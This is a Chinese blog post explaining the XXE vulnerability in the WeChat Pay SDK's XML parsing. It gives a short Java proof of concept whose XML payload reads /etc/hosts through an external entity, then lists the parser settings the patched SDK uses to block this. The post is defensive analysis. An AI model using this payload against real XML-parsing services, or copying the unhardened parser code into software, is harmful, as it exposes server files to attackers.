java XML解析初探 及微信支付sdk XXE漏洞浅析

2018-7-31 小屿 Java

月初在网上看到了标题吓人的微信0元支付漏洞,不过一直没时间去详细了解,现在国内外网站已经有了不少相关文章

例如:http://seclists.org/fulldisclosure/2018/Jul/3

实际上了解这个漏洞后发现实际上就是微信商户SDK的xxe漏洞,是一个低级的不安全开发导致的漏洞。


在解析xml的时候出于安全考虑通常需要禁用外部实体,否则易导致xxe漏洞,实现文件读取,服务器端请求伪造,甚至文件上传,命令执行等


问题出在微信支付sdk的WXPayUtil类的xmlToMap方法,方法如下,该方法接收一个String格式的strXML变量进行解析,却无任何限制

QQ20180731-130432@2x.png


把问题方法复制出来将return直接输出进行测试

3.png

结果如下,读取到了hosts文件

2.png

简化的代码实际是

import org.w3c.dom.Element;
import org.xml.sax.SAXException;

import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.InputStream;

public class DocBuilderXXE {

	public static void main(String[] args) throws ParserConfigurationException, IOException, SAXException {
		String strXML = "<!DOCTYPE foo [\n" +
                "        <!ELEMENT foo ANY >\n" +
                "        <!ENTITY xxe SYSTEM \"file:///etc/hosts\" >]>\n" +
                "<!--<test>&xxe;</test>-->\n" +
                "<a>\n" +
                "    <test>&xxe;</test>\n" +
                "</a>";

		DocumentBuilderFactory documentBuilderFactory = DocumentBuilderFactory.newInstance();
		DocumentBuilder        documentBuilder        = documentBuilderFactory.newDocumentBuilder();
		InputStream            stream                 = new ByteArrayInputStream(strXML.getBytes("UTF-8"));
		org.w3c.dom.Document   doc                    = documentBuilder.parse(stream);

		Element rootElement = doc.getDocumentElement();
		System.out.println(rootElement.getTextContent());
	}
}

下载最新版的sdk发现新增了XPayXmlUtil类并在newDocumentBuilder方法实现了外部实体禁用

DocumentBuilderFactory documentBuilderFactory = DocumentBuilderFactory.newInstance();
documentBuilderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
documentBuilderFactory.setFeature("http://xml.org/sax/features/external-general-entities", false);
documentBuilderFactory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
documentBuilderFactory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
documentBuilderFactory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
documentBuilderFactory.setXIncludeAware(false);
documentBuilderFactory.setExpandEntityReferences(false);

标签: xxe

发表评论:

Powered by xia0yu